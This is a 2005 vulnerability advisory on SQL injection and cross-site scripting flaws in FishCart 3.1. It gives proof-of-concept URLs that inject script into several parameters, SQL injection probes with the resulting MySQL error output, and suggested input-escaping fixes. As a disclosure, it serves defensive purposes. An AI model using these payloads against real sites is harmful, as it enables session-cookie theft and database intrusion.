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Multiple SQL injections and XSS in FishCart 3.1


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Severity: High
Title: Multiple SQL injections and XSS in FishCart 3.1
Date: 4/05/2005

Vendor: FishNet Inc
Vendor Website: http://www.fishnetinc.com
Summary: There are, multiple sql injections and xss in fishcart 3.1.


Proof of Concept Exploits:

http://example.com/demo31/display.php?cartid=200505024231092&zid=1&lid=1&nlst='">&lt;script&gt;alert(document.cookie)&lt;/script&gt;&olimit=0&cat=&key1=&psku=
XSS

http://example.com/demo31/display.php?cartid=200505024231092&zid=1&lid=1&nlst=y&olimit=0&cat=&key1=&psku='SQL_INJECTION
SQL INJECTION

Database error: Invalid SQL: select count(*) as cnt from
cvsdemo31prod,cvsdemo31prodlang where nzid=1 and nprodsku=prodsku and
prodzid=1 and nprodsku=prodlsku and prodlzid=1 and
prodlid=1prodsku='''SQL_INJECTION' and prodlsku='''SQL_INJECTION' and
prodzid=1 and prodzid=prodlzid and prodlid=1 and (produseinvq=0 or
(produseinvq=1 and prodinvqty>0))
MySQL Error: 1054 (Unknown column 'nzid' in 'where clause')
Session halted.


http://example.com/demo31/upstnt.php?zid=1&lid=1&cartid='SQL_INJECTION
SQL INJECTION

Database error: Invalid SQL: select sku,qty from cvsdemo31oline where
orderid=''SQL_INJECTION'
MySQL Error: 1064 (You have an error in your SQL syntax near
'SQL_INJECTION'' at line 1)
Session halted.

http://example.com/demo31/upstracking.php?trackingnum='">&lt;script&gt;alert(document.cookie)&lt;/script&gt;&reqagree=checked&m=
XSS


http://example.com/demo31/upstracking.php?trackingnum=&reqagree='">&lt;script&gt;alert(document.cookie)&lt;/script&gt;&m=
XSS

http://example.com/demo31/upstracking.php?trackingnum=&reqagree=checked&m='">&lt;script&gt;alert(document.cookie)&lt;/script&gt;
XSS


Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(),
mysql_real_escape_string() and other functions for input validation before
passing user input to the mysql database, or before echoing data on the
screen, would solve these problems.

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Author:
These vulnerabilities have been found and released by Diabolic Crab,
Email: dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to
contact me regarding these vulnerabilities. You can find me at,
http://www.hackerscenter.com or http://digitalparadox.org/.